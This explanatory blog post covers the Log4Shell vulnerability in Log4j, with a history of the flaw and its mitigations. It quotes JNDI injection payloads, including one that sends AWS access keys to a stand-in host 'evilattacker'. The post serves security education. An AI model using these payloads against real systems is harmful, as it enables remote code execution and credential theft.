As we know Log4j is one of the most popular Java library used for logging. Developers might use it directly or even indirectly without even knowing because of other java dependencies which uses Log4j internally. The scanned data published by the software company Synk, shows that 60.8% of all the Java projects use Log4j indirectly and not directly.
But a vulnerability in the JNDI lookup of Log4j was detected and it was found to be present in the library, unchecked for 8 long years since 2013, when the lookup was introduced. Recently the vulnerability was being tested using a very famous payload ‘${jndi:ldap//liveoverflow.com}’.
The Timeline
17th July, 2013: In 2013 a feature patch was submitted to log4j to add JNDI lookups. But this was actually the introduction of the vulnerability.
25th Nov, 2014: Some compatibility issues were reported by Developers where the log4j lookups were unwillingly formatting strings as they were getting recognised as lookup parameters. So, a feature was released to disable lookups. Eg: %m{noLookups} instead of using %m.
2016: There was a talk by Blackhat about JNDI/LDAP manipulation and Remote code execution. Conducted by Pwntester and Oleksandr Mirosh, they even mentioned that JNDI lookup is not just looking up a basic string, but maybe a complex java object. So if an attacker can send arbitrary seralized objects to an application, then you likely get remote code execution. But this talk was about a Java feature and its security vulnerabilities and had nothing to do with Log4j. So, the research remained unnoticed and ignored.
9th Nov, 2017: ‘formatMsgNoLookups’ config was introduced which disables lookups globally. This was the first mitigation for the issue, but was not perfect.
[Because the lookups were still passing through in case the input messages were not a StringBuilderFormattable type, and the messages were getting through the lookup processing. Eg: Using logger.printf with format string instead of logger.info, the mitigation doesn’t work. This still remained unrecognised.]
26th Nov, 2021: The vulnerability that JNDI lookups can be used to execute remote java codes was first reported by Chen Zhaojun of Alibaba Cloud Security Team.
10th Dec, 2021: Apache published an advisory for CVE-2021-44228 with an update for log4j. After 2 weeks from the date of report. This proved to be one of the largest and craziest security vulnerabilities of all time. Even the German issued an IT emergency of state 4 Red. This means that the IT threat situation is very critical.
The Vulnerability
The vulnerability found was a type of RCB (Remote Code Execution). It is also being called Log4Shell which is like opening a shell in a server having this vulnerability, probably by any attacker.
Before getting in depth let’s start with a simple logger code.
logger.error(“Error message {}”, error.getMessage());
Using {} we can log any string in the right place which is pretty simple.
Now log4j also supports lookups which is used to extract Environment variables. Eg:
logger.info(“Home directory: ${env.HOME}”);
This looks up and prints the home directory of the current server. Log4j supports several other lookups including the JNDI, exactly where it get interesting.
Now log4j also supports adding lookups as parameter values.
Eg:
logger.info(“Home directory: {}”, ${env.HOME});
Thanks to this now any lookup string can be passed as a simple string argument which is not meant to be passed and log4j resolves the lookup anyway.
Issue with JNDI lookup:
logger.info(“Customer account: {}”, “${jndi:ldap://logconfig/prefix}”);
Similar to the above example jndi lookup params can be passed to any log message and the jndi url will be resolved by the logger. Now a hacker can easily pass jndi urls of any other jndi server which contains malicious codes and execute them by passing them as jndi strings to target server. Example: A search engine, or any search tab in any ecommerce website using Log4j.
Hackers can also leverage the JNDI lookup to disclose environmental variables.
${jndi:ldap://evilattacker:1234/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}}
Now an issue like this can be prevented by setting some JVM flags as false.
com.sun.jndi.ldap.object.trustURLCodebase com.sun.jndi.rmi.object.trustURLCodebase
But a large number of Enterprise applications run on Java and directly or indirectly uses Log4j, and some developers may not be even aware of the flags or the vulnerability, which makes it at a bigger problem.
Now the latest Log4J version 2.16 has fixed the issue. But the question is why did it take so long to find this issue. This has stayed since 2013 to 2021 for 8 long years. This opens up a wider question to how much the open-source libraries can be trusted.
Top comments (0)